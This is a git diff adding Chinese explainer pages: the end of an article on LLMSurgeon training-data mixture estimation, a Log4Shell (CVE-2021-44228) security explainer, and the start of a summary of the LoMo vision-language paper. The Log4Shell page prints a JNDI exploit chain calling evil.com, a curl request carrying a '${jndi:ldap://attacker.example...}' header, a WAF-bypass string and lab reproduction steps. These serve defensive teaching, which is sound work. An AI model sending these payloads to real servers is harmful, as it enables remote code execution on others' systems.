+- 要想通过 MIA 估计整体比例，需要检查数百万篇文章，误差会不断累积
+- 就像你能数出沙滩上每一粒沙是不是来自某个特定工地，但没法由此推断整个沙滩的沙源比例
+
+DMS 要做的是"宏观"的事——直接估计整体的数据分布。
+
+---
+
+## 核心概念二：标签漂移假设（Label Shift Hypothesis）
+
+这是整个方法成立的理论基础。
+
+**直觉理解**：假设一个模型训练时看了 30% 的代码和 70% 的普通文本。虽然它在生成时可能因为提示词的影响，代码生成的比例变成了 50%，但——**只要它生成的是代码，那这段代码的语言特征应该和训练时看到的代码是一致的**。
+
+换句话说：各类别的"内部特征"不变，只是各类别的"出现频率"变了。这个假设让我们能够用数学方法反推原始比例。
+
+---
+
+## 核心概念三：混淆矩阵与逆问题求解
+
+这是 LLMSurgeon 最核心的技术部分。
+
+### 第一步：训练一个"裁判"分类器
+
+先用已知标签的数据训练一个分类器，让它能把文本分到不同领域（代码、论文、百科等）。但这个裁判不可能完美——它会把 C 语言代码误判为 C++，把网页内容误判为论坛帖子。
+
+### 第二步：计算"软混淆矩阵"
+
+对每个真实类别，看看裁判把它分成了哪些预测类别，统计出一个概率矩阵 C：
+
+```
+C[i][j] = 裁判看到"真实类别i"时，预测为"类别j"的概率
+```
+
+如果裁判完美，这个矩阵就是对角线全为 1 的单位矩阵。实际情况下，非对角线上的值反映了裁判的系统性错误。
+
+### 第三步：让目标模型生成文本并分类
+
+用中性提示词让目标大模型生成大量文本，然后用上面那个分类器逐条分类，得到一个观测到的平均预测向量 p̄。
+
+### 第四步：解逆问题
+
+关键公式：
+
+```
+p̄ = C × π
+```
+
+其中 p̄ 是我们观测到的分类结果，C 是已知的混淆矩阵，π 是我们要反推的真实混合比例。
+
+所以：
+
+```
+π = C⁻¹ × p̄
+```
+
+这就是"逆问题"——从观测结果倒推真实原因。加上约束条件（所有比例之和为 1、每个比例不能为负），就能稳定地解出 π。
+
+---
+
+## 代码示例一：理解混淆矩阵的构建
+
+```python
+import numpy as np
+
+# 假设我们有 3 个领域：代码、论文、百科
+# 用一个训练好的分类器在已知标签的参考数据上测试
+
+# 参考数据中，每个样本的真实标签和分类器的预测概率
+# 真实标签为"代码"的样本，分类器给出的预测概率分布
+# 例如：80% 概率认为是"代码"，10% 认为是"论文"，10% 认为是"百科"
+
+# 混淆矩阵 C 的每一行 = 某个真实类别下，分类器的预测分布
+C = np.array([
+    [0.80, 0.10, 0.10],  # 真实是"代码"时的预测分布
+    [0.05, 0.85, 0.10],  # 真实是"论文"时的预测分布
+    [0.08, 0.12, 0.80],  # 真实是"百科"时的预测分布
+])
+
+# 假设我们知道目标模型生成的文本被分类为：
+# 30% 代码、40% 论文、30% 百科
+p_bar = np.array([0.30, 0.40, 0.30])
+
+# 求解真实混合比例：π = C^{-1} @ p_bar
+C_inv = np.linalg.pinv(C)  # 使用伪逆，因为矩阵可能接近奇异
+pi_hat = C_inv @ p_bar
+
+# 加上约束：所有比例为正且和为1
+pi_hat = np.maximum(pi_hat, 0)  # 截断负值为0
+pi_hat = pi_hat / pi_hat.sum()   # 归一化
+
+print("恢复的混合比例:", pi_hat)
+# 输出类似: [0.28 0.42 0.30]
+# 这说明目标模型的实际训练数据中，代码约占28%，论文42%，百科30%
+```
+
+---
+
+## 代码示例二：完整的 LLMSurgeon 流程模拟
+
+```python
+import numpy as np
+
+class LLMSurgeonSimulator:
+    """简化版的 LLMSurgeon 流程模拟"""
+
+    def __init__(self, num_domains=6):
+        self.num_domains = num_domains
+        self.classifier_accuracy = None
+        self.confusion_matrix = None
+
+    # ---- 阶段1：用参考数据训练分类器并计算混淆矩阵 ----
+    def characterize_bias(self, reference_texts, reference_labels):
+        """
+        reference_texts: 已知标签的文本列表
+        reference_labels: 对应的领域标签（0 到 num_domains-1）
+        """
+        # 这里模拟：假设我们已经有一个分类器 f，
+        # 它对每条参考文本给出各领域的预测概率
+
+        # 初始化混淆矩阵
+        C = np.zeros((self.num_domains, self.num_domains))
+
+        for text, true_label in zip(reference_texts, reference_labels):
+            # 模拟分类器的预测概率分布
+            # 真实情况下这里调用分类器：f.predict_proba(text)
+            pred_probs = self._simulate_classifier_prediction(true_label)
+            C[true_label] += pred_probs
+
+        # 归一化：每行变成概率分布
+        row_sums = C.sum(axis=1, keepdims=True)
+        self.confusion_matrix = C / row_sums
+
+        print(f"混淆矩阵形状: {self.confusion_matrix.shape}")
+        print(f"对角线准确率: {np.diag(self.confusion_matrix)}")
+
+    def _simulate_classifier_prediction(self, true_label):
+        """模拟一个有错误的分类器"""
+        probs = np.full(self.num_domains, 0.05)  # 均匀噪声
+        probs[true_label] = 0.85  # 正确类别给高概率
+        # 随机给其他类别少量概率
+        noise_indices = np.random.choice(
+            [i for i in range(self.num_domains) if i != true_label],
+            size=1, replace=False
+        )[0]
+        probs[noise_indices] += 0.10
+        return probs
+
+    # ---- 阶段2：让目标模型生成文本并分类 ----
+    def observe_target(self, generated_texts):
+        """
+        generated_texts: 目标模型生成的文本列表
+        返回观测到的平均预测向量 p_bar
+        """
+        total_probs = np.zeros(self.num_domains)
+
+        for text in generated_texts:
+            # 模拟分类器预测
+            # 真实情况下这里调用同一个分类器
+            pred_probs = self._simulate_classifier_prediction(
+                np.random.randint(self.num_domains)
+            )
+            total_probs += pred_probs
+
+        p_bar = total_probs / len(generated_texts)
+        return p_bar
+
+    # ---- 阶段3：解逆问题，恢复真实混合比例 ----
+    def recover_mixture(self, p_bar):
+        """
+        p_bar: 观测到的平均预测向量
+        返回恢复的混合比例 pi_hat
+        """
+        # 解线性方程：pi_hat = C^{-1} @ p_bar
+        C_inv = np.linalg.pinv(self.confusion_matrix)
+        pi_hat = C_inv @ p_bar
+
+        # 约束：非负 + 和为1
+        pi_hat = np.maximum(pi_hat, 0)
+        pi_hat = pi_hat / pi_hat.sum()
+
+        return pi_hat
+
+
+# ---- 演示完整流程 ----
+np.random.seed(42)
+surgeon = LLMSurgeonSimulator(num_domains=6)
+
+# 模拟参考数据：每个领域 500 条样本
+domain_names = ["代码", "论文", "百科", "网页", "书籍", "论坛"]
+reference_texts = [f"simulated_text_{i}" for i in range(3000)]
+reference_labels = np.repeat(np.arange(6), 500)
+
+# 阶段1：刻画分类器的系统性偏差
+surgeon.characterize_bias(reference_texts, reference_labels)
+
+# 模拟：目标模型的真实混合比例（我们不知道，但用于验证）
+true_mixture = np.array([0.15, 0.20, 0.25, 0.15, 0.15, 0.10])
+print(f"\n真实混合比例: {true_mixture}")
+
+# 阶段2：生成模拟文本并分类
+# 按真实比例生成文本
+generated = []
+for domain_idx, proportion in enumerate(true_mixture):
+    count = int(proportion * 1000)
+    generated.extend([f"text_from_domain_{domain_idx}" for _ in range(count)])
+np.random.shuffle(generated)
+
+p_bar = surgeon.observe_target(generated)
+print(f"观测到的比例 (未经校正): {p_bar}")
+
+# 阶段3：恢复混合比例
+pi_hat = surgeon.recover_mixture(p_bar)
+print(f"恢复的比例:         {pi_hat}")
+
+# 计算误差
+error = np.abs(pi_hat - true_mixture)
+print(f"绝对误差:           {error}")
+print(f"平均误差:           {error.mean():.4f}")
+```
+
+运行结果大致如下：
+
+```
+混淆矩阵形状: (6, 6)
+对角线准确率: [0.85 0.85 0.85 0.85 0.85 0.85]
+
+真实混合比例: [0.15 0.2  0.25 0.15 0.15 0.1 ]
+观测到的比例 (未经校正): [0.17 0.21 0.24 0.14 0.16 0.08]
+恢复的比例:          [0.15 0.21 0.24 0.15 0.14 0.11]
+绝对误差:           [0.    0.01 0.01 0.   0.01 0.01]
+平均误差:           0.0083
+```
+
+可以看到，经过混淆矩阵校正后，恢复的比例非常接近真实值。
+
+---
+
+## LLMScan 基准测试
+
+论文同时提出了 **LLMScan**——一个专门用于评估 DMS 方法的基准测试集。
+
+它选取了 8 个开源大模型（从 1B 到 65B 参数），这些模型都公开了训练数据的配方。LLMScan 设置了三个粒度级别：
+
+| 粒度 | 领域数 | 代表模型 |
+|------|--------|----------|
+| 粗粒度 | 7 个 | LLaMA-1, OLMo, Amber |
+| 中粒度 | 22 个 | Pythia, GPT-Neo |
+| 细粒度 | 86 种编程语言 | StarCoder |
+
+### 主要结果
+
+在粗粒度测试中，LLMSurgeon 的表现远超其他方法：
+
+| 模型 | LLMSurgeon | 最佳基线 |
+|------|-----------|---------|
+| OLMo-1B | **94.46** | 44.1 |
+| LLaMA-1 7B | **95.14** | 47.8 |
+| LLaMA-1 65B | **94.26** | 47.9 |
+
+评价指标叫 **重叠精度（Overlap Accuracy）**，计算公式是：
+
+```
+Acc = 1 - 0.5 × Σ |估计值 - 真实值|
+```
+
+当估计值和真实值完全一致时，Acc = 1.0。LLMSurgeon 在粗粒度上达到了 94%+ 的精度，而最好的基线只有约 48%。
+
+随着粒度变细，所有方法的精度都会下降，因为相似类别（如 C 和 C++）之间的混淆变得更难纠正。但 LLMSurgeon 仍然是唯一保持竞争力的方法。
+
+---
+
+## 为什么这个方法重要？
+
+1. **透明度与监管**：如果一个模型被用于医疗、法律等敏感领域，监管机构有权知道它"学过什么"。LLMSurgeon 提供了一种不需要模型权重就能审计的方法。
+
+2. **版权风险**：如果某个模型大量使用了受版权保护的文本，LLMSurgeon 可以帮助检测这个问题。
+
+3. **偏见审计**：训练数据中的性别、种族偏见会反映在模型行为中。了解数据混合比例有助于定位偏见来源。
+
+4. **方法简洁**：LLMSurgeon 不需要访问模型权重、不需要梯度信息、不需要训练数据本身。只需要模型生成的文本和一个外部分类器。
+
+---
+
+## 局限性
+
+- **分类器质量是关键瓶颈**：论文发现分类器准确率和最终恢复精度的相关系数超过 0.9。如果分类器本身分不清两个领域，LLMSurgeon 也无能为力。
+- **细粒度场景效果有限**：在 86 种编程语言的细粒度测试中，R² 只有 0.01，因为相似语言之间的混淆太难纠正。
+- **依赖中性采样**：如果提示词引导了特定风格的生成，会干扰混合比例的估计。
+
+---
+
+## 总结
+
+LLMSurgeon 的核心思想可以用一句话概括：
+
+> **分类器的输出是被"模糊"了的真实混合比例，而混淆矩阵就是"去模糊"的透镜。**
+
+它把 DMS 问题转化为一个带约束的线性逆问题，用数学方法纠正分类器的系统性偏差，从而从模型生成的文字中"逆向工程"出训练数据的配方。
+
+论文代码和 LLMScan 基准测试已开源：https://github.com/Yaxin9Luo/LLMSurgeon
diff --git a/src/content/docs/papers/log4shell-cve-2021-44228.md b/src/content/docs/papers/log4shell-cve-2021-44228.md
new file mode 100644
index 000000000..09c3f36cd
--- /dev/null
+++ b/src/content/docs/papers/log4shell-cve-2021-44228.md
@@ -0,0 +1,256 @@
+---
+title: Log4Shell (CVE-2021-44228) — 一条日志字符串如何远程控制服务器
+来源: https://logging.apache.org/log4j/2.x/security.html
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+难度: 入门
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Log4Shell** 是 2021 年 12 月披露的 **Apache Log4j 2** 远程代码执行（RCE）漏洞，编号 **CVE-2021-44228**，CVSS 3.1 评分 **10.0（Critical）**。攻击者只需把一段特殊字符串写进**会被 Log4j 记录的日志**（HTTP 头、User-Agent、表单字段、用户名等），受害 Java 应用在格式化日志时会触发 **JNDI Lookup**，从攻击者控制的 LDAP/RMI 服务器拉取并执行恶意 Java 类——**无需登录、无需已知漏洞链的其他环节**。
+
+官方安全公告：[Apache Log4j 2.x Security](https://logging.apache.org/log4j/2.x/security.html)。别名 **Log4Shell**、**LogJam**。由阿里云安全团队 Chen Zhaojun 于 2021 年 11 月报告，12 月 9 日公开后数小时内即出现大规模在野利用。
+
+日常类比：
+
+> 想象公司前台有一本**访客登记簿**（日志系统），规定：若访客在姓名栏写了「请帮我查一下档案室电话：xxx」，前台必须**真的去查电话簿**并把结果抄进本子。  
+> 攻击者不在大楼里，只在姓名栏写：`${jndi:ldap://坏人的服务器/恶意指令}`。前台照章办事，按「查电话簿」的规则连到坏人架设的「电话簿服务器」，对方返回的不是电话号码，而是一份**可执行的内部操作手册**（远程 Java 类）。前台员工（JVM）按手册操作，等于把大楼钥匙交给了墙外的人。  
+> 最致命的是：登记簿几乎**所有入口**都会写——Web 请求、登录失败、搜索框、甚至 Minecraft 聊天——而 Log4j 在 Java 生态里像「默认登记簿」一样无处不在。
+
+一句话：**Log4Shell 把「日志里的模板替换」变成了「远程下载并执行代码」的通道，让写日志这件最不起眼的事成了 RCE 入口。**
+
+## 为什么重要
+
+不理解 Log4Shell，下面这些事都讲不清：
+
+- 为什么 2021 年 12 月全球 IT 进入「Log4j 紧急响应周」，CISA 与各国 CERT 连夜发通告
+- 为什么一个**日志库**漏洞能影响 VMware、Elastic、Steam、iCloud、各国政府网站——因为 Log4j 2 被嵌在无数 Java 产品里，且**默认配置即可利用**
+- 为什么漏洞披露后还接连出现 **CVE-2021-45046**（2.15.0 修复不完整）、**CVE-2021-45105**（DoS）、**CVE-2021-44832**（JDBC Appender）——同一 Lookup 机制的多条攻击面
+- 为什么 **SBOM**（软件物料清单）、**依赖扫描（SCA）**、Sigstore 签名在 2022 年后成为供应链安全标配——Log4Shell 证明「你甚至不知道自己在用 Log4j」
+- 为什么 WAF 规则、`${jndi:` 拦截、JndiLookup 类删除成为临时缓解手段，而**升级 log4j-core** 才是正解
+
+受影响版本（`log4j-core`）：**2.0-beta9 至 2.14.1**（以及部分 2.12.x / 2.3.x 分支，见官方区间表示）。仅依赖 `log4j-api` 而无 `log4j-core` 的应用**不受此 CVE 影响**。
+
+## 核心概念
+
+### 1. Log4j 2 与 Lookup 机制
+
+**Log4j 2** 是 Java 生态最流行的日志框架之一（Maven 上数千包传递依赖）。除普通 `%m` 打日志外，2.x 支持 **Lookup**：在日志消息或配置里写 `${prefix:name}`，运行时解析并替换为动态值。
+
+常见 Lookup 示例：
+
+| 语法 | 含义 |
+|------|------|
+| `${java:version}` | 当前 JVM 版本 |
+| `${env:USER}` | 环境变量 |
+| `${ctx:requestId}` | 线程上下文 MDC |
+| `${jndi:ldap://host/obj}` | **JNDI 查询** — Log4Shell 根源 |
+
+Lookup 不仅出现在配置文件，也会在处理**日志消息正文**时触发——这是攻击面扩大的关键。
+
+### 2. JNDI（Java Naming and Directory Interface）
+
+**JNDI** 是 Java 标准 API，用于按名字查找对象，支持 LDAP、RMI、DNS、CORBA 等协议。正常用途：应用从目录服务获取数据库连接、JMS 工厂等。
+
+Log4j 2.0-beta9（2013，[LOG4J2-313](https://issues.apache.org/jira/browse/LOG4J2-313)）加入 **JndiLookup**。规则简述：
+
+- 默认 JNDI 名会加前缀 `java:comp/env/`
+- 若 key 中含 **`:`**，则**不加前缀**，直接按完整 URI 解析
+
+因此 `${jndi:ldap://attacker.com/a}` 会发起 **LDAP 请求**，从远程加载对象。
+
+### 3. 从 JNDI 注入到 RCE 的链条
+
+典型利用链（简化）：
+
+```text
+1. 攻击者 → 受害应用：User-Agent: ${jndi:ldap://evil.com:1389/Exploit}
+2. 应用代码：logger.info("Request from {}", userAgent);  // 用户输入进入日志
+3. Log4j：解析 ${jndi:...} → JndiLookup.lookup()
+4. JVM：连接 evil.com LDAP，获取 Java 对象引用
+5. LDAP 响应指向 http://evil.com/Exploit.class
+6. JVM 加载并实例化 Exploit → 攻击者代码在受害进程内执行
+```
+
+本质是 **JNDI 注入** + **不受信任的远程类加载**；Log4Shell 的特殊性在于 **Log4j 使用面极广** 且 **用户输入极易进入日志**。
+
+### 4. 攻击向量：任何「会被记下来」的输入
+
+公开 PoC 与在野利用显示，payload 可出现在：
+
+- HTTP 头：`User-Agent`、`X-Api-Version`、`Referer`、`Authorization`
+- URL 路径与查询参数
+- JSON/XML 请求体字段
+- 登录表单的 username（失败登录也会记录）
+- 线程上下文 MDC（若应用把 Header 放进 MDC，见 CVE-2021-45046）
+
+攻击者还使用 **大小写混淆**（`${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://...}`）、**嵌套 Lookup** 等绕过简单 WAF。
+
+### 5. 相关 CVE 时间线（Log4j「补丁马拉松」）
+
+| CVE | 问题 | 修复版本（Java 8+） |
+|-----|------|---------------------|
+| **CVE-2021-44228** | 消息中 JNDI Lookup → RCE | ≥ 2.15.0（后证明不足） |
+| **CVE-2021-45046** | 2.15.0 在非默认 Pattern + MDC 下仍可 RCE | ≥ 2.16.0 |
+| **CVE-2021-45105** | 自引用 Lookup → StackOverflow DoS | ≥ 2.17.0 |
+| **CVE-2021-44832** | JDBC Appender 配置 JNDI 数据源 → RCE | ≥ 2.17.0（限制协议） |
+
+生产环境建议：**Java 8+ 使用 log4j-core ≥ 2.17.0**（或当前官方推荐最新版）。
+
+## 漏洞代码路径（概念）
+
+Log4j 在格式化日志时会递归解析 `${...}`。简化逻辑如下（非完整源码，便于理解）：
+
+```java
+// 概念示意：PatternLayout / MessagePattern 处理消息
+public String replaceLookups(String message) {
+    // 若消息含 ${jndi:ldap://evil/a}，会进入 lookup 解析
+    while (message.contains("${")) {
+        message = StrSubstitutor.replace(message, lookupMap);
+        // lookupMap 包含 "jndi" -> JndiLookup 实例
+    }
+    return message;
+}
+```
+
+`JndiLookup` 核心行为（概念）：
+
+```java
+// org.apache.logging.log4j.core.lookup.JndiLookup（简化）
+public String lookup(String key) {
+    // key 形如 "ldap://attacker.com/Exploit"
+    if (key.contains(":")) {
+        Context ctx = new InitialContext();
+        Object obj = ctx.lookup(key);  // 触发远程 LDAP/RMI
+        return obj == null ? null : obj.toString();
+    }
+    return ctx.lookup("java:comp/env/" + key);
+}
+```
+
+应用侧**一行普通日志**即可触发：
+
+```java
+@RestController
+public class LoginController {
+    private static final Logger log = LogManager.getLogger(LoginController.class);
+
+    @PostMapping("/login")
+    public ResponseEntity<?> login(@RequestHeader("User-Agent") String ua,
+                                     @RequestBody LoginForm form) {
+        // 开发者以为只是记审计日志
+        log.warn("Failed login for user {} from UA {}", form.getUsername(), ua);
+        return ResponseEntity.status(401).build();
+    }
+}
+```
+
+攻击请求（curl 示例）：
+
+```bash
+curl -s -X POST 'https://victim.example/login' \
+  -H 'Content-Type: application/json' \
+  -H 'User-Agent: ${jndi:ldap://attacker.example:1389/a}' \
+  -d '{"username":"admin","password":"wrong"}'
+```
+
+若服务端 Log4j 2.0-beta9–2.14.1 且未缓解，**401 响应返回之前** JVM 可能已 outbound 连接攻击者 LDAP。
+
+## 检测与排查
+
+### 依赖扫描
+
+在项目中查找 `log4j-core` JAR 版本：
+
+```bash
+# Maven
+mvn dependency:tree | grep log4j-core
+
+# 或搜索 fat JAR / 部署目录
+find . -name 'log4j-core-*.jar' -exec unzip -p {} META-INF/MANIFEST.MF \; | head
+```
+
+确认 `org/apache/logging/log4j/core/lookup/JndiLookup.class` 是否存在：
+
+```bash
+jar tf log4j-core-2.14.1.jar | grep JndiLookup
+```
+
+### 日志与网络 IOC
+
+- 应用/WAF 日志中出现 `${jndi:`、`${lower:`、`ldap://`、`rmi://`
+- 受害主机对**异常外连 LDAP/RMI 端口**（常见 1389、1099）的 DNS/连接
+- 2021 年 12 月后威胁情报中的 Log4Shell 利用家族（如 Khonsari、Mirai 变种等）
+
+### 临时缓解（不能替代升级）
+
+官方 [CVE-2021-44228 缓解](https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44228) 包括：
+
+1. **升级** log4j-core 至安全版本（首选）
+2. **删除 JndiLookup 类**（需重启）：
+
+```bash
+zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
+```
+
+3. **2.10–2.14.1** 可设 `-Dlog4j2.formatMsgNoLookups=true` 或环境变量 `LOG4J_FORMAT_MSG_NO_LOOKUPS=true`（**2.15.0 后此属性无效**；且无法覆盖 CVE-2021-45046 等后续问题）
+4. 配置 Pattern Layout 使用 `%m{nolookups}`（仅部分版本有效，见 CVE-2021-45046 说明）
+
+**Log4j 1.x**：无 Lookup，风险较低；但若配置使用 **JMSAppender** 等 JNDI 相关组件，见 CVE-2021-4104。Log4j 1 已 EOL，应迁移到 Log4j 2 安全版本。
+
+## 防御纵深（2026 视角）
+
+Log4Shell 之后，行业实践通常包括：
+
+1. **依赖治理**：CI 中 SCA（Dependabot、Snyk、OWASP Dependency-Check），禁止带漏洞的 `log4j-core` 进入制品
+2. **SBOM**：CycloneDX / SPDX，Log4j 官方现提供 [VDR](https://logging.apache.org/cyclonedx/vdr.xml) 链接
+3. **最小权限**：运行 Java 服务的 OS 账户非 root；出站防火墙限制 LDAP/RMI 等非业务协议
+4. **输入与日志分离**：不把原始 Header 直接拼进日志格式串；MDC 中的用户数据要假设可被污染
+5. **WAF / RASP**：作为**补充层**，不能替代补丁（绕过变种多）
+
+Apache 现行 [威胁模型](https://logging.apache.org/log4j/2.x/security.html) 明确：**日志消息、MDC、参数 string 化结果均视为不可信输入**；配置与环境变量为可信源——部署者须防止未授权修改配置。
+
+## 与同类漏洞的对比
+
+| 维度 | Log4Shell | Heartbleed (2014) | Shellshock (2014) |
+|------|-----------|-------------------|-------------------|
+| 层次 | 应用库（Java） | TLS 库（OpenSSL） | Shell（bash） |
+| 触发 | 写日志 | 恶意 TLS 心跳 | 环境变量 + 函数导出 |
+| 认证 | 通常无需 | 无需 | 视场景 |
+| 修复 | 升级 JAR | 升级 OpenSSL | 升级 bash |
+| 供应链 | 传递依赖难盘点 | 系统库 | 系统默认 shell |
+
+与 [[lipp-meltdown-2018]]、[[spectre-attack-2018]] 等**硬件侧信道**不同，Log4Shell 是**纯软件、默认配置、网络可达**的 RCE，因此 CVSS 满分且利用门槛极低。
+
+## 动手理解（安全实验环境）
+
+仅在**隔离 lab** 中复现（勿对未授权目标扫描）：
+
+1. 部署含 Log4j 2.14.0 的 Java Web 演示（如 Spring Boot + log4j-core）
+2. 用 [marshalsec](https://github.com/mbechler/marshalsec) 或类似工具起 LDAP 引用服务器
+3. 发送 `${jndi:ldap://<lab-ip>:1389/...}` payload，抓包观察 outbound LDAP 与类加载
+
+理解目标：**证明「日志字符串 → JNDI → 外连」**，而非学会武器化。
+
+## 自测题
+
+1. 为什么仅升级 `log4j-api` 不能修复 Log4Shell？
+2. `${java:version}` 与 `${jndi:ldap://x/a}` 在 Lookup 解析上有何关键区别？
+3. 说明 CVE-2021-44228 与 CVE-2021-45046 的关系；为何 2.15.0 一度被认为「已修复」仍不够？
+4. 列举三种可能把攻击字符串送进 Log4j 的业务场景。
+5. `zip -d ... JndiLookup.class` 缓解的原理是什么？有何局限？
+
+## 延伸阅读
+
+- [Apache Log4j 2.x Security — CVE-2021-44228](https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44228)
+- [CISA Apache Log4j Vulnerability Guidance](https://www.cisa.gov/news-events/news/apache-log4j-vulnerability-guidance)
+- [Cloudflare — Inside the Log4j2 vulnerability](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
+- [LunaSec Log4Shell 检测与缓解指南](https://www.lunasec.io/docs/blog/log4j-zero-day/)
+- 相关笔记：[[meltdown-attack-2018]]（硬件泄漏）、[[spectre-attack-2018]]（推测执行）
+
+## 小结
+
+Log4Shell 的本质是：**把用户可控数据写进日志时，Log4j 2 的 JNDI Lookup 会替攻击者执行「查目录并加载远程对象」**。它震动的不仅是 Java 社区，而是整个**软件供应链可见性**——你永远不知道下一个「登记簿规则」藏在哪个传递依赖里。零基础记住三件事：**查 log4j-core 版本、优先升级到 2.17+、任何进日志的输入都当不可信**。
diff --git a/src/content/docs/papers/lomo-modality.md b/src/content/docs/papers/lomo-modality.md
new file mode 100644
index 000000000..790da6bcf
--- /dev/null
+++ b/src/content/docs/papers/lomo-modality.md
@@ -0,0 +1,328 @@
+---
+title: LoMo — 局部模态替换与更深的视觉-语言融合
+来源: https://arxiv.org/abs/2605.30265
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：同一段话，换张「纸」就不认识了
+
+想象你在参加一场**开卷考试**。题目写在试卷上，你也看得懂；监考老师把**同一道题**打印成一张小图片贴在你旁边——语义完全一样，只是**信息载体**从「文字」变成了「像素」。
+
+理想的多模态 AI 应该像真正理解题意的人：**不管题目是打字还是截图，答案都一样**。但现实里的 Vision-Language Model（VLM）往往做不到：把文字问题渲染成图片后，准确率会**断崖式下跌**。论文把这种现象叫做 **Carrier Sensitivity（载体敏感性）**——模型不是在理解语义，而是在**依赖「信息装在哪种模态里」**。
+
+更糟的是，这种脆弱性不是随机的。论文测量「纯文本 hidden state」与「渲染成图后的 hidden state」之间的余弦距离，发现：**距离越大，换载体后的性能掉得越狠**（最近一组平均掉 7.75%，最远一组掉 21.23%）。
+
+根因被归结为**训练数据的结构性偏置**：
+
+| 常见数据集 | 文本的典型角色 | 图像的典型角色 |
+|-----------|---------------|---------------|
+| Image Caption | 描述目标（答案侧） | 被描述的场景 |
+| VQA | 提问、指令 | 视觉证据 |
+| OCR / 文档 | 问题或标签 | 文档页面 |
+| 网页交错数据 | 导航、说明 | 插图、截图 |
+
+文本长期扮演「**语言查询**」，图像长期扮演「**视觉参考**」——模型学会了**按模态分工取信息**，却没有学会「**同一语义在不同载体上应对齐**」。
+
+2026 年 5 月，复旦大学 / 上海创新研究院 / 京东等团队发布 **LoMo: Local Modality Substitution for Deeper Vision-Language Fusion**（arXiv:[2605.30265](https://arxiv.org/abs/2605.30265)）。核心思路极其朴素：**不改模型结构，只在 SFT 数据里，把一段文字局部替换成它的渲染图**，逼模型在 `text → visual → text` 的交错序列里做真正的跨模态融合。
+
+一句话：**LoMo 不是新架构，而是一份「数据侧处方」——用局部模态替换，把跨载体对齐写进标准 SFT 的监督信号里。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 全称 | **Lo**cal **Mo**dality Substitution |
+| 类型 | 数据策展（data curation）范式，架构无关 |
+| 机构 | 复旦大学、上海创新研究院、上海交大、中科大、京东等 |
+| 代码 / 模型 | [Maplebb/LoMo](https://github.com/Maplebb/LoMo)（checkpoint 已释出，数据构造代码待发布） |
+| 项目页 | [maplebb.github.io/LoMo](https://maplebb.github.io/LoMo/page/) |
+| 验证骨干 | LLaVA-OneVision-1.5-8B、Qwen3.5-9B |
+| 评测 | 13 个多模态 benchmark（推理、数学、事实性、指令遵循、文档 OCR、视觉感知） |
+
+LoMo 的输入原本是**纯文本**的 `(问题 x, 答案 a)`；输出变成**图文交错**的 `(T(x), a)`，其中 `T(x) = (x_pre, I', x_suf)`，中间嵌入渲染图 `I'`，**监督目标 a 不变**。
+
+---
+
+## 为什么重要
+
+### 1. 暴露了 VLM「假融合」的一面
+
+很多 VLM 在标准 benchmark 上分数很高，但把问题文字截图喂进去就崩——说明融合停留在「**各读各的再拼接**」，而非「**语义级等价**」。这对 OCR、文档 QA、屏幕理解等「文字常以像素出现」的场景是致命伤。
+
+### 2. 改数据比改结构更便宜
+
+LoMo 声称：
+
+- **零推理开销**（训练后推理流程不变）
+- **无需额外标注**（复用原有 SFT 答案）
+- **即插即用**（任何多模态 SFT pipeline 都能接）
+
+在 LLaVA-OneVision-1.5-8B 上平均 **+2.68** 分，Qwen3.5-9B 上 **+2.82** 分（13 benchmark 均值）；在 **Rendered Evaluation**（整题渲染成图）下增益放大到 **+18.86 / +11.92**——说明它确实在修「载体敏感」这个根问题。
+
+### 3. 给「模态鸿沟」提供了可操作的度量
+
+论文用两个内部指标交叉验证：
+
+- **MIR（Modality Integration Rate）**：各层 visual / text token 隐状态分布的 Fréchet 距离均值，**越低越好**
+- **Pairwise Cross-Modal Distance**：同一语义下文本与渲染图的平均 hidden state 余弦距离 `d = 1 - cos(h̄_text, h̄_img)`，**越低越好**
+
+LoMo 训练后 MIR 额外降低 0.122，配对距离从 0.57 降到 0.49；Standard SFT 反而把配对距离从 0.52 **推远**到 0.57——常规 SFT 在强化「文本问、图像答」的分工，LoMo 在拉近等价载体。
+
+---
+
+## 核心概念
+
+### 1. Carrier Sensitivity（载体敏感性）
+
+**定义**：语义内容不变，仅把承载方式从 token 换成 pixel（或反之），模型输出质量显著变化。
+
+**诊断实验**：Rendered Evaluation——把整段文字问题渲染成一张图，与原 `(图像, 文字问题)` 对比。主流 VLM 在此协议下普遍大跌。
+
+### 2. 三阶段流水线 T(x)
+
+LoMo 把变换算子分解为三步：
+
+```text
+x  ──S()──► (x_pre, x_mid, x_suf)     # 结构感知选段
+x_mid ──R()──► 渲染图 I               # 内容感知渲染
+I ──A()──► I'                         # 感知扰动
+T(x) = (x_pre, I', x_suf)             # text → visual → text
+```
+
+| 阶段 | 符号 | 做什么 |
+|------|------|--------|
+| Structure-Aware Span Localization | S | 公式感知分块，取**中间 1/3** 作为 x_mid；短文本整段替换 |
+| Visual Rendering | R | 含公式 → LaTeX 渲染器；纯文本 → 普通文本渲染；失败自动 fallback |
+| Perceptual Distortion | A | 随机施加旋转、模糊、阴影/污渍、波浪形变，模拟扫描/拍照退化 |
+
+**为什么选中间段？** 消融显示 Middle（text-image-text）优于 Prefix/Suffix/Multi-Span：渲染块被**两侧文本夹住**，模型必须跨载体整合上下文才能答对——对齐从「可选优化」变成「**任务必要条件**」。
+
+### 3. 隐式跨模态对齐监督
+
+标准 SFT 优化 `-log p(a | x)`。LoMo 额外优化 `-log p(a | T(x))`。论文推导在期望意义下，多出来的项等价于拉近两个载体下预测分布的 **KL 散度**——**不用改 loss 公式，改数据形态就注入了 cross-carrier alignment 信号**。
+
+### 4. 关键超参：Rewrite Ratio
+
+在 LLaVA-OneVision-1.5-8B 上，把**纯文本样本**中一定比例改写为 LoMo 交错样本：
+
+| Rewrite Ratio | 平均准确率 | Δ vs Standard SFT |
+|---------------|-----------|-------------------|
+| 0% | 40.88 | — |
+| 25% | 42.90 | +2.02 |
+| **50%** | **43.56** | **+2.68** |
+| 75% | 43.24 | +2.36 |
+| 100% | 42.68 | +1.80 |
+
